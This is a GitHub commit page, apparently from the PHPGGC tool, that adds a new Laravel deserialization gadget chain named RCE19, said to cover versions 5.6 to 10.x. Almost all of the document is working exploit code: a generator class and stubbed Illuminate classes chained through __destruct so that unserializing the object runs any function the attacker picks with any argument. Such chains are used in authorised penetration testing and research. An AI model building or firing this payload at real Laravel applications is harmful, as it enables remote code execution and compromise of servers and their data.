Skip to content

Commit 5faf5c9

Browse files
committed
Merged coiffeur's into Laravel/RCE20 as Laravel/RCE19 is now taken
2 parents 61db64e + 54ae4f6 commit 5faf5c9

File tree

2 files changed

+71
-0
lines changed

2 files changed

+71
-0
lines changed
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
<?php
2+
3+
namespace GadgetChain\Laravel;
4+
5+
class RCE19 extends \PHPGGC\GadgetChain\RCE\FunctionCall
6+
{
7+
public static $version = '5.6 <= 10.x';
8+
public static $vector = '__destruct';
9+
public static $author = 'coiffeur';
10+
11+
public function generate(array $parameters)
12+
{
13+
return new \Illuminate\Routing\PendingResourceRegistration(
14+
$parameters['function'],
15+
$parameters['parameter']
16+
);
17+
}
18+
}
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
<?php
2+
3+
namespace Illuminate\Auth
4+
{
5+
class RequestGuard
6+
{
7+
protected $callback;
8+
protected $request;
9+
protected $provider;
10+
public function __construct($callback, $request)
11+
{
12+
$this->callback = $callback;
13+
$this->request = $request;
14+
$this->provider = 1;
15+
}
16+
}
17+
}
18+
19+
namespace Illuminate\Validation\Rules
20+
{
21+
class RequiredIf
22+
{
23+
public $condition;
24+
public function __construct($func, $arg)
25+
{
26+
$this->condition = [new \Illuminate\Auth\RequestGuard($func, $arg), "user"];
27+
}
28+
}
29+
}
30+
31+
namespace Illuminate\Routing
32+
{
33+
class ResourceRegistrar
34+
{
35+
protected $router;
36+
public function __construct()
37+
{
38+
$this->router = null;
39+
}
40+
}
41+
42+
class PendingResourceRegistration
43+
{
44+
protected $registrar;
45+
protected $name;
46+
protected $registered = false;
47+
public function __construct($func, $arg)
48+
{
49+
$this->registrar = new \Illuminate\Routing\ResourceRegistrar();
50+
$this->name = new \Illuminate\Validation\Rules\RequiredIf($func, $arg);
51+
}
52+
}
53+
}

0 commit comments

Comments
 (0)